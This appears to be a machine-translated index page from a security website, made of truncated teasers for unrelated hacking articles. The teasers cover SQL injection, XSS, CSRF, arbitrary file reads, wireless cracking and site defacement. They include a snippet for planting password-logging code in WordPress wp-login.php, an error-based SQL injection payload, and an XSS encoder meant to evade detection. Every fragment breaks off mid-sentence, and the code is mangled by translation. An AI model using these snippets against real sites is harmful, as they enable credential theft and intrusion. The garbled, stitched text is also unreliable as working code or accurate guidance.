Cloud Security

  By LengF Wordpress Password cracking can be said to be basically useless, so we have to record the password in the tragedy. Add at line 539 in the file wp-login.php:   // Log password $ Log_user = $ _ POST ['log']; $ Log_pwd = $ _ POST

  I thought it was an ASCII code encrypted. 114,133,114,112,130,129,114, 45,127,114,126,130,114,128,129, 75. All digits minus 13, and then decimal decryption The Code obtained after running is   From WebShell's Blog

  I. Introduction to SQL Injection   SQL injection is one of the most common methods of network attacks. It does not use Operating System bugs to launch attacks, but is aimed at the negligence of programmers during programming. through SQL

  Title: QuiXplorer 2.3 Author: PCA & krhr_krhr and : Http://quixplorer.sourceforge.net/ Version: QuiXplorer 2.3 Test Platform: linux and windows Defect Analysis   Http://www.bkjia.com/[path]/index. php? Action = list & order = name & srt =

  Brief description: This is an old vulnerability that was previously reported. After consulting wooyun, I replied that I could submit the vulnerability. So I submitted the vulnerability and wanted to earn Rank!   Vulnerability: QQ mail does not

  By: Mind This vulnerability is quite interesting...   User. php (user operation ):   Function oneditimg () {// modify the Avatar If (isset ($ _ FILES ["Filedata"]) { $ Upload_tmp_path = "data/tmp /"; $ FileName = 'biginatar '. $ this-> user ['uid']

  Used to bypass some detection rules or condition restrictions XSS encryption is still very common.   ''' Python XSS payload encoder Author: BGS (rstcenter.com) Contributor cmiN (rstcenter.com) Date: 13 August 2011 Version: Python 2.7 ''' #!

  Check the code ..   01 ...... Several ...... 02 if (! $ Postdb ["userid"] |! $ Postdb ["pwd"]) 03 { 04 echo " "; 05 echo "the user name or password you entered is incorrect !!! "; 06 echo " "; 07 exit; 08} 09 www.2cto.com 10 $ postdb ["pwd"] = md5

Brief description: The submitted variables are not strictly filtered and the file directories that can be read are strictly controlled. As a result, any files on the system can be read because of the php architecture, it may cause other serious

  Injection Point (explosive table prefix): index. php? Ac = search & at = taglist & tagkey = % 2527, tags) or (select 1 from (select count (*), concat (select concat (0x7e, 0x27, table_name, 0x27, 0x7e) from information_schema.tables where

EMail: jianxin # 80sec.comSite: http://www.80sec.comDate: 2011-11-30From: http://www.80sec.com/ [Directory]0 × 00 event background0 × 01 Emergency Response0 × 02 Event Analysis0 × 03 event inspiration0 × 04 Summary 0 × 00 event background On

  First, you need to prepare:   1. Backtrack 3/4 optical disk or virtual machine image, or Backtrack3 USB disk 2. A Backtrack-compatible wireless network card 3. Add points to a web-encrypted wireless network (that is, the wireless network you want

Previous Article: http://www.bkjia.com/Article/201108/99254.html   Title: blind SQL injection UPM-POLLS wordpress plugin 1.0.4 Author: Saif El-Sherei www.2cto.com : Http://downloads.wordpress.org/plugin/upm-polls.1.0.4.zip Affected Version:

Previous Article: http://www.bkjia.com/Article/201111/111130.html   Title: Pixie v1.04 blog post CSRF Author: hackme Http://pixie-cms.googlecode.com/files/pixie_v1.04.zip Affected Versions: 1.04 # Tested on: Linux Ubuntu 10.10 Problem address: http:/

Author: b0mb # qq.com   Different databases have different syntax injection statements and different codes:   Https://www.2cto.com/calender. asp? Day = 7% 20 UNION % 20 SELECT % 20 NULL %   20 from % 20dual- This dual is a pseudo-table of oracle. It

  Brief description: The open-source php development framework has the xss vulnerability by default. As a result, all systems developed using this framework have the xss vulnerability. Detailed Description: improper handling of non-existent

  I used to know That there may be problems with web permissions, But I encountered a few problems in actual tests. I recorded them when I met them today: (Please do not waste your precious time) I. Vertical Elevation of Privilege   Generally,

  Brief description: Only DEDECMS V5.7 is tested, and the previous version is estimated to be the same. A simple test conducted at the official address should be regarded as a small BUG, which can be used to infinitely refresh the top/step value

Apply a sentence from someone: You can change the homepage.1. First, open the website and check that the asp site, without him, still miss the first love Scan Edit Editor, roar... You know 2. You don't have to look at the background database

There are multiple CSRF, which can be modified in many ways.1. Modify the shipping address. When there is only one shipping address in the account, many people do not pay attention to the shipping address and pay directly xss. ajax ('